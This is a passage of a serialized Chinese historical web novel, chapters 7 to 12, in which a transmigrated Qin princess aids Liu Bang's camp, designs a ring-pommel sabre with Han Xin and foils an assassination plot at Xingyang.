“是。”吕雉十分坦诚,“汉室基业毁于一旦,我辛苦筹谋岂不是一场空?” 吕雉的话让阴嫚陷入了沉思。虽说她知道楚汉之争是刘邦胜了,但她对其中曲折知之甚少。只是依稀记得刘太公和吕雉曾被项羽抓去做人质。 她本以为这件事已经在她初遇吕雉时解决了,但现在看来隐患好像还在。 她和老天一向不对付,往往她认为平安无事的时候,其实老天早就挖了个坑,就等着她往里面跳了。出于警惕,阴嫚决定应该早做打算,免得被打个措手不及。不过该如何准备呢? 室内陷入一片安静,忽然传来清脆的童声。 “好辣!” 阴嫚看向对面的屋子,只见刘盈捂着嘴,眼泪汪汪的,显然是被姜汤辣到的样子。 “与药相比姜汤的味道已经好多了,”刘婠斜眼看向刘盈,将姜汤推到刘盈面前,“都喝了。” “不喝不行吗?” “你说呢?” 面对强势的姐姐,刘盈只好苦着一张脸,将姜汤一饮而尽。 “你还真是一点苦都不能吃。”刘婠嘴上嫌弃,但已经将备好的糖块塞进了弟弟的嘴里。 “谢谢阿姊!”刘盈立刻眉开眼笑。 “给东西你就摇尾巴,你是小犬吗?”刘婠很是头疼,伸出手指点着弟弟的额头。 刘盈弯起眉眼,好脾气地听着姐姐的数落。 看着灯火下的姐弟二人,阴嫚想起了与兄长相互依靠的日子,那是她一生中最美好的时光。 “公主?”吕雉叫了她一声,“公主可是想到了什么?” “算是吧。”她收回了目光,说道,“既然夫人不放心,不如让吕将军多留一段时间吧。” “但是大兄那边该怎么办?” “夫人和孩子们都在彭城,我们所有的筹码都在这里,孰轻孰重两位将军自然明白 7. 第 7 章 《秦公主阴嫚》全本免费阅读 “离开?”吕释之惊讶。 “没错。”张良肯定道,“将军要即刻启程护送汉王家眷到下邑避险。” 吕释之困惑:“项羽的急攻令汉军溃不成军,如今再分兵而行,只怕难以抗敌。” “败局已定,拼死抵抗只是在徒增伤亡。”阴嫚按着太阳穴说道,“现在全军上下要做的只有一件事,那就是逃命。” “公主高见。”张良看向她,笑了笑,“良正是此意。” 对于张良猜到她是芈欢这件事,阴嫚并不感到惊讶。毕竟是大名鼎鼎的谋圣,想要知道彭城的近况,还不是轻而易举的事。她客气道:“诚信候客气了。不过是拾人牙慧罢了。要说运筹帷幄,决胜千里,还得是诚信候。” “公主谬赞了,良受之有愧。” 她没有接话,而是看向吕雉,说道:“项羽攻,汉王败。诸侯如乌合,一哄而散。朝不保夕间,反败为胜更是空谈。你我当尽快前往下邑,将军情告知吕泽将军。” 吕雉犹豫片刻,说道:“可是大王尚未脱困,我独自脱身岂非不义?” 吕雉担心孩子们的安危,但当着众人的面不好对刘邦不闻不问,于是向阴嫚委婉地表达了自己的忧虑。 阴嫚听得明白,也十分冷静地替吕雉分析了:“你我留在此处,只会阻碍汉王逃生。刚刚不去下邑是因为我们人手不足,难以脱困。现在有了诚信候给的人马,脱困就变得容易了。况且若是横生意外,还需要夫人主持大局。” 她直视吕雉的眼睛:“夫人,非常时刻行非常之法,您要尽早下决断。”她的弦外音很明确,倘若全军覆没,不幸被俘,还要指望政敌救自己吗? 吕雉抿着嘴,最后深深吸一口气,对张良说道:“有劳诚信候安排了。” 张良欣慰于吕雉的识大体,但对阴嫚也有了新的看法。 阴嫚自然感受得到张良的打量,但她并不在意。因为她知道张良这个聪明人,就算发现她的意图,也不会多管闲事。 短暂的休息后,她和吕雉等人就在夜色的遮掩下出发了。身在西楚国境,免不得东躲西藏,费了好大的功夫才到下邑附近。 “再走个几十里我们就能到下邑了。”吕释之探路回来,“快马加鞭,晚上就能见到大兄了。” 话音刚落,阴嫚听到了打斗声,她与吕释之对视一眼,戒备地看向声源。 然而就在这时,只听一人大喝道:“混账羔子,今日就让你们看看你樊爷爷的厉害!” 樊哙?他怎么在这?阴嫚上前一步。刚拨开挡在眼前的枝叶,她就看到了刘邦风驰电掣的身影,张良略慢一步,追在他身后,而樊哙正在断后。 其他人呢?阴嫚困惑。还没等她想明白,一队楚骑已经绕过了樊哙,去追张良和刘邦了。 眼见张良马上被擒,阴嫚立刻抢过兵卒手中的弓箭,射杀了追在张良身后的楚卒。见吕释之带人去救援樊哙,阴嫚翻身上马去接应刘邦。 疾风在耳畔呼啸而过,枯木荒草速度飞快地向身后退去。很快,她就追上了准备劫持刘邦的楚卒。 “有——”楚卒尚未来得及报信,就被阴嫚一箭射落。 剩下的三名楚卒对视一眼,一人继续追击刘邦,其余两人勒马掉头阻击阴嫚。 阴嫚下腰躲开了冲着面门扫来的长剑,又趁着楚卒转身的空隙,将弓砸在了对方的头上,令其丧失行动能力。 解决一人后,她抽出缠在腰间的软剑,划伤了另一人的手腕。在对方吃痛的瞬间,抓住对方腕子用力一拉,利用惯性令其摔下马。向前看去,夏侯婴已经将追击的楚卒拉下了马。 至此追杀刘邦的几名楚卒已经尽数解决。 危机解除,一切回归平静,阳光这才吝啬地分给大地一点暖光。 众人欢天喜地地聚在一起,分享着重逢的喜悦。只有阴嫚游离在人群之外,摸着剑柄发呆,看起来像是陷入了某段回忆中。即便从下邑到了更安全的荥阳,她还是那副怅然的模样。 “公主看起来有心事。” 阴嫚抬起头,见到了一位稀客。 “是有心事。但我不想说。坐吧。”她抬了抬手,又道,“初到荥阳,诚信候应当有许多事情要做,怎么来找我了?有事交代?” “不敢劳烦公主。”张良温和道,“今日前来是为了谢公主的救命之恩。时隔多日,还请公主见谅。” “诚信候客气了。局势骤变,汉室危矣,诚信候自然要以大局为重。”缓慢的语速,让阴嫚多了几分慵懒之气。 “多谢公主体谅。”张良坐在她对面,又言,“不过良确实有一事想请教公主。” 阴嫚嘴角勾起,抬了抬下颌:“说吧。” 张良正色:“良观公主善于骑射,不禁好奇公主师承何处?” “自然是从秦国流传出来的。”她把玩着陶杯,满不在意道,“秦国尚武,男女皆会骑射。” 张良没有料到她会如此坦诚地回答,略作停顿后,才说道:“原来是这样。” “既然诚信侯问了我一个问题,那我礼尚往来也问一个。”她掀起半垂的眼皮,黝黑的眸倒映着张良的身影,“诚信候怎么想到来问我这些了?” 张良面色不变,轻声细语道:“不怕公主笑话,前些日子的追杀,让良想起了在博浪沙的遭遇。当日也有一支利箭从良的鬓角擦过,骤然再遇一样的射术,不免有些好奇。” “哦?只是这样?我还以为诚信侯觉得我就是那人,所以特地来盘查一二呢。”阴嫚盯着张良。 张良面不改色:“公主说笑了。当日之箭意在取良的性命,今日之箭是为了救良。恶意善意,良还是能分得 8. 第 8 章 《秦公主阴嫚》全本免费阅读 韩信收到彭城大败的消息后,便急忙原路返回。他虽然心有愤懑,但事关汉军存亡,他得收起个人的情绪,以大局为重。 快马加鞭,昼夜不停,他终于赶到了荥阳。但让他没想到的是,他竟然在汉王所在的府邸迷路了。韩信站在长廊中后悔地想,这座府邸竟不按常理修建,我到哪里找人带路啊? 不知道今天是不是不宜出门,他在长廊上绕了好几圈竟然没见到一个人。韩信按了按太阳穴心道,这要是被其他人知道了,我这一世英名就全毁了。正当他不知如何是好时,他看到一个院子。想着院子里应当有人居住,他便打算碰碰运气。 一进院子,就能看到一大片淡紫色的小花。韩信又向前走了几步,一道刺眼的白光引起了他的注意,抬眼看去一把品相上佳的宝剑出现在眼前。 剑的主人正抱着宝剑发呆。夕阳的余晖柔和了她的轮廓,黑色的长发在风中舞动,如雪般苍白的皮肤……让人想起了巫山女,山中鬼,不似凡尘的美扑面而来。 “物是人非事事休,欲语泪先流[1]。” 女人的声音空灵清脆,却又带着哀怨悲切。使得黄昏下的小院散发迷人的气息,让人忍不住地更进一步。 甲胄摩擦的声音惊醒耽溺往事的精灵。女人攥紧宝剑,厉声质问:“你是谁!” 看着紧握剑柄的手,韩信敢肯定,若是他不给出一个合理的解释,他会被捅个对穿。但韩信的脑子却不由自主地想,我好像在哪见过这女子。 阴嫚也觉得眼前人有点眼熟,故而耐着性子又问了一遍:“你是谁?” 韩信如梦初醒,连忙答道:“在下韩信,欲向大王汇报军情,却不想迷了路。信非有意惊扰,还请女子见谅,信这就离开。” 韩信?彭城之乱时阴嫚见过韩王信,韩王信并不是长这样。那这个人就是被誉为兵仙的韩信了,阴嫚想,难怪觉得眼熟,他们两个在彭城外见过。 她站了起来:“原是大将军,芈欢多有冒犯还请见谅。” 韩信愣了一下,连忙作揖:“信见过公主。” “大将军太客气了。”阴嫚收起了软剑,说道,“正巧我今日有空,刚好可以给大将军当个引路小吏。” “怎敢劳烦公主,信另寻他人便是。”韩信欲拒绝。 “此地虽不及彭城宫殿,但也是战国巨贾留下的豪宅,只怕大将军还未找到人带路,自己就又迷路了。”阴嫚摆了摆手走在前面,“行了,别扭扭捏捏了,走了。” 韩信犹豫了一会儿,终是快步跟上了阴嫚。 一路上韩信表现得安静守礼,与认知中的那个人一点也不一样。 这让阴嫚忍不住地多看了韩信几眼。韩信握在剑柄上的右手骨节分明,护腕下的小臂线条流畅。脊背挺直,下颌紧绷,现在的他就像一张蓄满力的弓,有一种压抑本性的拘谨感 阴嫚眉头扬起心道,这样真的不难受吗? 穿过一两个长廊,就到了刘邦的院子里,还未等仆从通传,刘邦便光着两只脚跑了出来,紧紧地握住韩信的手,激动道:“大将军你可算来了。悔当初不肯听君之言!” 阴嫚看着刘邦未穿鞋履的脚,不禁在心里吐槽,原来这套收买人心的法子是你创造的啊。她又看向韩信,见对方一副被打动的模样,不禁叹了口气,看来被糖衣炮弹击中了。 但换位思考,要是自己在做了许多年的籍籍无名之辈,忽然有一天被一位世界前几强的老总亲自邀请入伙。不但工资高,老总还对自己言听计从,有求必应,她肯定也会被这个大馅饼砸迷糊。更何况韩信一直希望出人头地,他不入套谁入套? 韩信直奔主题:“在京县、索亭之间是以荥阳为中心,广武、成皋二山所环的平原地带,宜骑兵作战。” 此时的韩信没了拘束。他冷静地分析战局,观点鞭辟入里,手持毛笔在地图上圈出了几个重点地区。眼前人渐渐地与那个被世人口口相传的兵仙重合。 “现在的首要任务是要将战线东移,收复雍丘、外黄等地,利用有利地形与洛阳连接,构成一条防御战线,只有这样汉军才能在荥阳站稳脚跟。” 刘邦沉思后,问道:“大将军言以骑兵反攻,但现在联军溃散,汉军也损失不小,组建骑兵恐怕非易事。我担心仓促组建的队伍会被项羽那厮打得溃不成军,到那个时候我们就更缺兵了。” 韩信眼眸明亮,语气坚定:“大王不必担心,只要将此事全权交付于信,信定能反败为胜。” 这话从旁人口中说出来便是狂妄自大,可若是从韩信嘴里说出只会让人觉得这是胸有成竹之言。 刘邦大喜,他拍着韩信的肩膀:“国士无双,有君吾心安矣。你放心大胆地做,谁敢生事,你告诉我,我替你收拾他!” “骑兵使用的武器也应当作调整。”阴嫚提醒道。 刘邦和韩信不约而同地看向她。 阴嫚:“从古至今骑兵时时刻刻都在变化,最突出的两个阶段便是赵武灵王的胡服骑射和秦时的蹄铁、高桥马鞍和马镫[2]。有着这两个阶段的铺垫,才有了今日的楚骑。如果我们不做调整只是照本宣科,结果会让人大失所望。” “公主有何高见?”刘邦十分上道。 阴嫚看了刘邦一眼,说道:“与楚骑数次交手,我发现骑兵大多佩剑执行砍杀任务。但剑有一个缺点,就是两边开刃,使得剑整体轻薄。如果有重物击中剑身,那么剑就会从中断裂。一把断剑,还如何杀敌?” “这点信也有发现,但信暂时没有想到解决办法,公主可有办法解决?”韩信看向她。 “自然,否则我也不会说。”她继续说道,“用刀。” “刀?”刘邦和韩信的神情略带惊讶。 周秦以及汉初时,虽然有刀但其并不用于战场上。原因有二,一是青铜刀易折断,与青铜剑相去甚远,二是上流社会皆喜佩剑,人们并未将目光落在刀上。所以她用刀的提议,在韩信和刘邦看来是天方夜谭。 于是阴嫚在两人疑惑的目光中折下一根树枝,一边在地面上画图,一边解释:“我说的刀自然不是现在的刀。它取材于铁,形似剑,但单面开刃,其厚度由刀背向刃递减,防止被斩断。尖端保留剑的突刺,便于刺击,刀柄保留原有的环防止作战脱手。”< 9. 第 9 章 《秦公主阴嫚》全本免费阅读 明媚的阳光,从屋檐垂落,点亮了幽暗的长廊,朗朗书声回荡在阴嫚的小院中。 书案上放着一摞纸,上面写着字。字迹乍一看工整秀丽,但仔细观察后,不难发现这些字端庄之余,亦有棱角,给人一种凌厉之感。 阴嫚将散落的纸张装订在一起心道,幸好当年把造纸术搬了出来,否则我现在还得拿小刀刻字。 “老师。”刘盈叫了她一声。 “何事?”她看向刘盈。 刘盈面露困惑,问她:“孔孟说,人当以仁爱为追求,百死不悔。可老庄却说,人应当率性而为,无欲无求。到底谁是对的,谁是错的?” 阴嫚没想到刘盈会问出这样的问题。她在仔细斟酌后,回答道:“我也不知道。” “不知道?” 刘婠和刘盈不约而同地睁大眼睛,齐齐看向她。这副瞠目结舌的样子,显得两个人格外的童稚可爱。 阴嫚合上书卷,说道:“自周起,百家崛起,各种理念接踵而来。可这八百余年来,却无一家能做到一枝独秀,令众人心服口服。先圣尚且不能肯定谁对谁错,更何况我这个俗人呢?” “既然不知对错,那要是学错了怎么办?”刘盈有些担心。 “尽信书,则不如无书[1]。”阴嫚撑着头看向坐在对面的刘盈和刘婠,“书本只是你们了解世事的工具。你们可以用工具,但决不可依赖工具。” 见两人露出似懂非懂的神情,她又说道:“不明白也没关系。你们现在只要记住做好眼前的每一件事情就够了。” 两人用力地点头,异口同声道:“我会的!” 微风拂过,交叠的枝叶摩擦出沙沙的响声。细碎的阳光在长廊上穿行,阴嫚的目光追逐着光斑向远处飘去,却冷不防地看到一双黑色的靴子。 抬起眼眸,四目相接,阴嫚捕捉到韩信眼中的无措,想来是因为“偷听”被抓而感到尴尬。 韩信在长廊的尽头站得笔直,金灿灿的光斜射在他的身上,阳光一笔一笔精心勾勒出他的轮廓,仿佛要将这人的模样留在初夏中。 当真是一副好颜色。阴嫚在心底感叹了一句。 “大将军来此有何公干?”她吐字缓慢。 韩信礼数周全:“信是来询问环首刀的事情的。” “哦,原来是催工的。”阴嫚斜靠在凭几上,手撑着脸颊,淡淡地扫了韩信一眼,“就算大将军再着急,也还是要等的。毕竟工序在那,我就算有通天的本领也不能一下子把环首刀做出来。” 韩信抿了抿嘴,抱拳:“是信急于求成了,还请公主见谅。”说完,就要离开。 “刚刚还说自己不应急于求成,现在却不听完我的话就要走。大将军您还真是讨厌我,竟一刻都不想与我相处。”阴嫚声音很轻,话的内容却人心头一沉。 韩信顿时绷直了身体,死死地攥着剑柄。不知道是在克制自己的紧张,还是在克制自己的厌恶,又或者二者兼有。 廊下的气氛越来越诡异,刘婠和刘盈忍不住地抬起头,悄咪咪地观察阴嫚和韩信。 “公主,环首刀已经打造好了。”仆从的出现打破了僵直的气氛。 阴嫚收回目光,拔出环首刀。刀身在阳光下散发着幽幽寒光。她伸出手指弹了一下刀身,清脆的响声回荡在耳畔。她站到了院子中央,举起刀,对仆从说道:“你,拿剑砍它。” 仆从抽出剑,双手握着剑柄,用尽全身力气向她手中的刀劈去。当的一声响起,剑断成了两节,而阴嫚手中的刀依旧完好如初。 看到这一幕,众人纷纷惊叹。 “今日是锻造的最后一天。”阴嫚把刀交给了韩信,戏谑道,“大将军下次可要听我把话讲完啊。” 韩信虽然没说话,但耳垂上出现的淡粉色,暴露了他此时并不平静的内心。 阴嫚的唇角微微上扬,看来刘邦没有夸大其词,韩信确实已经不知道该如何跟同龄女子相处了。她眼珠子一转,又故意说道:“想来春色尚未远去,我这小院里仍有桃花绽放啊。” 刘盈闻言四处张望,想看一看晚桃在哪,结果找了一圈也没看到。于是他伸出手拽了拽姐姐的衣袖,小声问道:“阿姊,桃树在哪?” 刘婠到底是年长几岁,懂得多一点。她压低声音:“你笨啊。夏天哪有桃花。老师是在调侃大将军……” 两人虽尽力压低声音,但还是传到了韩信的耳朵里。他连忙伸手捂住自己的耳朵,奈何桃色渲染得太快,白壁之上已然尽是薄粉了。这下,他的两只手彻底不够用了。 瞧着韩信手忙脚乱的模样,阴嫚向来平淡无痕的眼眸,泛起了涟漪。她道:“看来汉王说得不错,大将军当真不善与人交流。” 韩信一愣,茫然地看向她。 “前些日子被大将军丢在汉王那里,虽然知道事出有因,但我还是很不开心,所以就稍稍报复一下喽。”阴嫚美目流转,故意问道,“不过那件事是真的?” 韩信想起自己的尴尬往事,面色一窘。 “看来是真的了。”阴嫚掩唇轻笑,“大将军放心,我不是汉王。秘密进了我的肚子,就不会再出去了。” 韩信的肩膀一塌,看起来像是松了一口气。 见韩信一副“劫后余生”的模样,阴嫚心道,我可真是一个坏蛋,就知道拿正经人取乐。但她转念一想,日子无聊,找点 10. 第 10 章 《秦公主阴嫚》全本免费阅读 还没等阴嫚回应,韩信就捂住了青年的嘴,生怕对方再说出什么惊世骇俗的话。在跟她匆匆告别后,韩信便拖着人离开了。 看着韩信落荒而逃的背影,阴嫚笑了笑,她觉得日后应该不会太无聊。 在环首刀投入使用后的第十天,阴嫚准备去校场给环首刀做个抽检,想着及时发现并解决问题。 校场在城西。那里草场成片,夏季更是一碧千里,令人感到心旷神怡。只不过校场中兵戈相击的声响,使得这片空地又多了几分肃杀之气。 校场是练兵的地方,平时只有兵卒战马来往,突然出现了一辆马车很引人注意。巡逻的兵卒上前拦住了马车,呵斥道:“军营重地,闲人勿进!” 军纪比在彭城的时候好多了,阴嫚颇为满意地点了点头,果然练兵的事情还是得让韩信来。 车夫先报了来历和到此的目的,而后又将证明身份的东西交给了兵卒。 兵卒一一检查,确认无误后,才抱拳道:“还请公主见谅。” 阴嫚支起窗户,说道:“你不过按规矩行事罢了。可否向你们大将军通传一声,我寻他有事。” 兵卒回答:“回禀公主,大将军被大王叫走了。” “……”阴嫚无语,原来错过了。她捏了捏鼻梁,又问道:“那你们郎中骑兵的其他上官呢?我找他们也一样。” 兵卒摸了摸脸,神情有些尴尬,他道:“不巧,他们出去操练了。” 郎中骑兵是汉军的骑兵队。由于时间紧迫,所以骑兵的训练强度远超其他兵种,训练时间更是神鬼莫测。 得,白来一趟。阴嫚按了按太阳穴,说道:“好吧。等你们大将军回来,你告诉他,劳烦他把环首刀——” 话还没说完,铺天盖地的马蹄声在身后响起。跟阴嫚说话的兵卒眼前一亮,激动道:“公主,郎中骑兵回来了!” 阴嫚顺着兵卒指的方向看去,只见有几个将领纵马小跑而来。阳光落在铁甲上反射出刺眼的白光,她下意识地伸出手遮在眼前。 “咦?公主你怎么来了!” 明快的语调在耳畔响起。阴嫚移开挡在眼前的手,一张年轻充满活力的面孔映入眼帘。对方的眸子亮亮的,笑容也很明媚,整个人就像一轮小太阳。 阴嫚觉得这人有点眼熟:“你是——” “是我啊。就是上次被大将军捂着嘴拖走的那个!”青年撇撇嘴,“我上次还想跟公主打招呼呢,不过大将军太小气了……” 阴嫚恍然大悟:“原来是你。” “是我是我。”青年一副自来熟的模样,“公主是来找大将军的吧。他今天有事出去了,我猜他过一会儿就回来了,要不进去等?” 阴嫚刚想拒绝,对方已经让车夫驾车入校场了。 你还真是热心肠啊。阴嫚在心里吐槽。不过她刚才听守门的兵卒叫这人将军,想来也是郎中骑兵的上官,那环首刀的事情问他也是一样。 “公主想知道环首刀的事情也不是不可以。”青年听到了她的话后,眼珠子转了一圈,露出狡猾的笑容,“不过你要答应我一件事情。” 阴嫚:“什么事?” “比武!”青年眼睛亮亮的,“我早就听说公主的大名了,一直想跟你过过招。如今已经在校场了,不如你我切磋切磋?” 我的大名?什么大名?打中樊哙的麻筋让他抬不起手臂的大名吗?阴嫚满腹疑惑。 “自然不是跟樊哙的那次。我是说你力战楚骑救了大王那件事。” 原来是这个啊。阴嫚了然。她看向一脸期待的青年心道,要是早几年我倒是会应战。但现在——她斩钉截铁地拒绝:“不要。” “为什么!”青年不解。 “累。” “啊?”青年不禁张大嘴巴,大约没想到她的理由竟如此朴实无华。 阴嫚懒着同这小子纠缠,准备找个地方先休息一会儿,等着韩信回来说正事。奈何这小子不按常理出牌,竟然背后偷袭。她侧身避开,看向青年:“私下斗殴可是要挨军棍的。” “反正又没人看到。而且只是切磋,点到为止,算不得斗殴。”说着,青年再次出拳。 但阴嫚依旧能避就避,可对方不肯放过她,出招越来越快。 阴嫚头疼至极,她是跟汉军武将犯冲吗?怎么一个两个的总是给她送点小插曲?她趁着对方一时不防,伸手弹中了对方的麻筋。 “哎呦!”青年捂着胳膊呼痛:“你作弊!” 阴嫚后退一步,眉头上挑:“兵不厌诈。你还嫩了点。” 她刚准备转身离开,却一头撞在了韩信身上。好在她及时拉住韩信的手臂,才免去当众摔倒的糗态。 “公主您没事吧?”韩信低沉的声音在头顶响起。 “没事。”阴嫚摇了摇头,松开手道,“刚刚多谢大将军了。” “举手之劳,公主客气了。”韩信转头看向青年,呵斥道:“灌婴你又冒犯公主!” “我才没有!”灌婴梗着脖子,但看到韩信锐利的目光后,他又有点底气不足,“额,那个,比武不算冒犯吧。” “比武自然不算。”阴嫚补刀,“但偷袭就不能不算了。” “……”灌婴的脸变得扭曲。 韩信板着脸:“军中不准私下斗殴,灌将军明知故犯,自去领罚。” 灌婴瘪嘴,小太阳顿时变成小苦瓜。 阴嫚:“算了吧,还是放过灌将军的屁股吧。省得到时候大家都上战场了,只有灌将军因为屁股受伤不能去,那他还不得咬着被子诅咒我?” “我才没有那么小气!”灌婴辩驳。 “嗯。我是个小气的人。你到底还是偷袭了我,不罚你,万一日后人人都效仿你,我岂不是要累死?”阴嫚向来是个不吃亏的性子,“抄书吧。《春秋》还是《左传》选一个吧。” 灌婴难以置信地看向她:“这也太狠了吧!我最讨厌读书了!” “不狠不长记性。”阴嫚眉眼弯弯看着灌婴。 “也好。就按公主说的办。”韩 11. 第 11 章 《秦公主阴嫚》全本免费阅读 悠扬悦耳的琴声从远处传来,细细品味才能发现曲中藏有万千思绪。 “公主的琴音与之前不同了。”低沉的男声响起。 阴嫚头也不抬道:“只有死人才会一成不变。” “公主一针见血的说话方式倒是一点都没变。”男人笑过后,又问阴嫚,“刘邦设下的三道防线已经被项羽冲破了两道防线,你觉得这最后一道防线能拦得住项羽吗?” “孙子云,百里而趣利者蹶上将,五十里而趣利者军半至[1]。”阴嫚抚弄琴弦,“你应当比我清楚,章将军。” 阴嫚抬起头看向对面的人。那人看起来只有三十多岁,剑眉虎目,阔面重颐,身着秦时甲胄,和记忆中的章邯分毫不差。不过相较于记忆中的严肃,此时的他是放松的。 “连彭越,反英布,设两防,平秦扰楚,以逸待劳,楚军必败。”章邯总结后轻笑一声,“都说刘邦是市井之辈不堪大用,可我觉得这天下迟早会落在他的手中。” 章邯话锋一转,望着她,眸中满是大业未成的遗憾。 “可我还是好不甘心。不甘心抱憾自尽,不甘心秦人惨死,更不甘心秦国就此覆灭。我们当时明明马上就要迎回大公子了,可为什么还是会落了个满盘皆输的结局!” 阴嫚沉默了许久,缓声道:“这些事情对早已解脱的你来说已经不重要了。不要再执着虚无缥缈的事情,让自己不得安宁了。” “是啊。我已经解脱了。”章邯喃喃自语。过了许久后,他回头看向阴嫚,问道:“那公主你呢?你从旧日的噩梦中解脱了吗?” 阴嫚下意识地蜷缩手指,无意中拨乱了一根琴弦,乐曲顿时变得杂乱无章。她反问自己,我从噩梦中醒来了吗? 故去的人的时间已经停止,恩怨情仇早已烟消云散,只有活着的人才执着于过去,执着于未实现的凌云壮志,执着于未践行的诺言…… 再次抬头,与自己对视的人已经变成了另一个自己——那个被逼上绝路的自己。鲜血从腹部涌出,佩剑上还残留着敌人的血,她就这样立在自己的对面,直勾勾地看着自己,问着自己:“你真的甘心吗?” 天地化作蒸炉,呼吸变得困难起来。乱糟糟的情绪一股脑地涌入脑海,令她头痛欲裂。 “老师!” 在意识模糊中,她听到了刘盈和刘婠的声音。猛然抬头,她对上了两人担忧的眼神。停滞的时间重新流转,消失的蝉鸣再次响起,指腹传来疼痛的感觉。她低头一看,原来自己正死死地扣着琴弦。松开手后,泛白的指腹才重新过血。 “老师你怎么样了?”刘婠关切道。 阴嫚看向不远处的柱子,那里已经空无一人,只有风铃随风摆动,发出清脆的声响。她想,旧愿未平,心有不甘,又怎么会解脱呢? “我去叫医师!”刘盈见她没有反应欲去找医师。还没等他站起来,就被阴嫚拉住了衣袖。 “没事。”阴嫚一边按着太阳穴缓解痛感,一边说道,“日头高照,倦意上身罢了。不必大惊小怪。” “当真?”刘盈有些不信,“老师刚刚看起来真的很难受。” “当真无事。只是在太阳底下坐得久了,换到阴凉处就好了。”她看向棋盘,岔开话题,“这次是谁赢了?” “自然是阿姊了。”刘盈叹了口气,嘟着嘴,摆出了苦瓜脸。 “已经比上几次好多了。”刘婠安慰弟弟后,又对阴嫚说,“我听阿母说过,夏天炎热会头晕,吃些酸甜消暑的东西就好了。我和阿盈前些天采了些桑葚,此物刚好能够缓解老师的症状,我一会儿就让人给老师送来。” “不必费心,我休息一下就好了。你们去玩吧。” 阴嫚按了按太阳穴,看向庭院。一只鸽子落在了庭院中。与现代的鸽子不同,这只鸽子毛色呈深褐色,远远看去像一块会移动的石头。 刘盈说道:“又是鸽子?这半个月来总能在府邸里见到鸽子,也不知道它们是从哪来的。” 刘婠推测道:“迁徙过来的吧。野鸽子总是飞来飞去的,大概是在荥阳安了家吧。” 阴嫚本打算收回落在鸽子身上的目光,却不想在鸽子的腿上看到了类似竹筒的东西。她二话没说,抓起棋盘上的棋子向鸽子砸去。只听一声闷响,鸽子滚到了廊下,露出了腿上的竹筒。 阴嫚心头一紧,捞起了鸽子,打开了竹筒,果然翻出了一张纸条。她展开一看,上面竟写着刺杀刘邦的计划! 她立刻对刘氏姐弟说道:“有人欲刺杀汉王。樊将军今日来探望吕夫人,你们速去寻他,让他包围府邸,捉拿贼人。”言罢,她便先向纸条上所写的刺杀地点跑去。 清风拉动着竹帘,光影交织在长廊上,明明晃晃间,好似将人带入光怪陆离的梦境中。阴嫚强忍着身体不适,找到了坐在凉亭里纳凉的刘邦。这人支棱着一条腿,一手拿着鱼竿,一手托着脸,嘴里叼着草茎,看起来不像帝王反而像市井混混。 阴嫚颇有几分无语,你还真接地气。 “呦,公主你来了,要不要跟我和子房一起钓鱼?”刘邦拍了拍自己身边的位置,热情邀请道。 还没等阴嫚开口,湖中突然窜出两道黑影,水花四溅,扰乱了视线。 好在刘邦的身手还算灵敏,反应也够快,他连忙拉着张良躲开了致命一击。 阴嫚立刻快步上前,挡在刘邦和张良的前面。她一脚踹开一个刺客,动作飞快地抽出软剑刺入再次扑来的刺客的喉咙。在听到身后的响动后,她立刻拔剑转身,将剩下的刺客解决了。 在确定安全后,她才转身看向刘邦和张良,询问二人道:“两位没事吧?” 刘邦摆了摆手示意自己没事。他蹲在刺客身边,扯开了刺客的面巾。在看到一张熟悉的面孔后,咋舌:“我说这小子怎么这 12. 第 12 章 《秦公主阴嫚》全本免费阅读 刺杀、生乱,是不是缺少了一环? 阴嫚一手撑着头,另一只手搭在案上,指腹正无意地摩挲着书案。 今日的刺杀从上到下透着古怪二字。纵然刺杀成功,刘邦殒命,但只要子嗣尚在,肱骨还在,汉军也还能顶一段时间。范增不可能想不到这点,因此她敢肯定,她漏掉了一环。 “范增实在狠毒,竟然想出了这等毒计!汉王当速速处决了那些刺客,将他们的人头丢回给范增,杀杀他的威风!” 阴嫚的目光落在了义愤填膺的魏王豹身上。对方一掌拍在了案上,震倒了案上的茶杯,茶水浇在他的手上,阴嫚也因此看到了对方手上狰狞的长疤。 九江王英布提出了自己的看法:“倒也不必如此武断。我认为应当细细盘问一番,看看还有什么内幕,或者问问荥阳之中是否还有其他细作。” 魏豹却是不赞同:“都是一群死士,能问出什么?不过是白费力气而已。” “总要试过才知道。”襄候王陵劝道,“魏王切勿被愤怒扰乱思绪。” 魏豹看了眼王陵哼了一声:“不过是无用功而已。” 在三人还在争论对刺客的处置时,阴嫚却嗅到了一丝不一样的气息。 诸侯一向见风使舵,而今楚军强势来袭,京索战役尚未见分晓,此刻正是人心浮动之时。倘若西楚细作策反了荥阳中的某个诸侯,令其与楚军里应外合夹击汉军,荥阳中的汉室肱骨将必死无疑,而噩耗传入关中,守备汉军也将军心不稳,届时不但荥阳守不住,就连汉地也将被群狼分食。 原来缺的是这一环,阴嫚感叹,不愧是名士范增,令人佩服。不过——她看向张良心道,可惜计划没成,还要为他人做嫁衣了。她猜,张良已经知道谁是叛徒。 张良注意到了她的视线,转过头,冲她微微一笑。 阴嫚眉头稍动,好吧,一切尽在不言中。 刘邦端起酒杯:“好了好了,大家都是好意,切勿因为几个刺客伤了和气。来来来,诸位陪我喝一杯压惊酒吧。” 阴嫚端起酒杯,看向“万事大吉”的刘邦心道,影帝啊。 她将酒杯放到鼻前细细一嗅,浓郁的酒香顿时充盈在肺腑,令人回味无穷。既然刘邦和张良已经把控了局面,那她就不掺和了,省得又给自己惹麻烦。 奈何人算不如天算。在三天后的夜晚,汉王府鸡飞狗跳起来。 乱糟糟的声音堆叠在一起,让人难以入眠,阴嫚一睁眼就看到外面火光窜动。她随手拿起外袍披在身上,向外走去,碰到了脸色不太好的吕雉。她问道:“怎么了?” 吕雉拢了拢外衣说道:“有人来报,说魏王不见了。” “不见了?”阴嫚不解,“不是有人贴身侍候着吗?怎么会不见了?” “我也不清楚。听通传的人说,伺候魏王的人都死了。”吕雉问她,“莫不是府中还有细作,是他们行凶?” 阴嫚却道:“只怕并非出自细作之手,而是魏王杀了人自己逃了。” “是魏王干的?他为什么这么做?”吕雉还没意识到其中关节。 阴嫚稍作点拨:“大概是他心里有鬼,所以才逃出去了。” “有鬼?你是说——”吕雉反应了过来,不禁睁大眼睛,“他怎么能这样!” “墙头草随风倒呗。”阴嫚对吕雉说道,“夫人回去照看孩子们吧,我去看看。” “公主当心。” 阴嫚点了点头,在整理好衣服后,就向魏王的住处走去。她脚步很轻,长袍掩盖了她的步伐,廊上又昏暗,远远看去就像是飘起来一样。一个兵卒被她惊掉了火把,那兵卒连忙去捡火把。阴嫚垂下眼眸,借着微弱的火光,她看到了兵卒的手背上的疤痕。 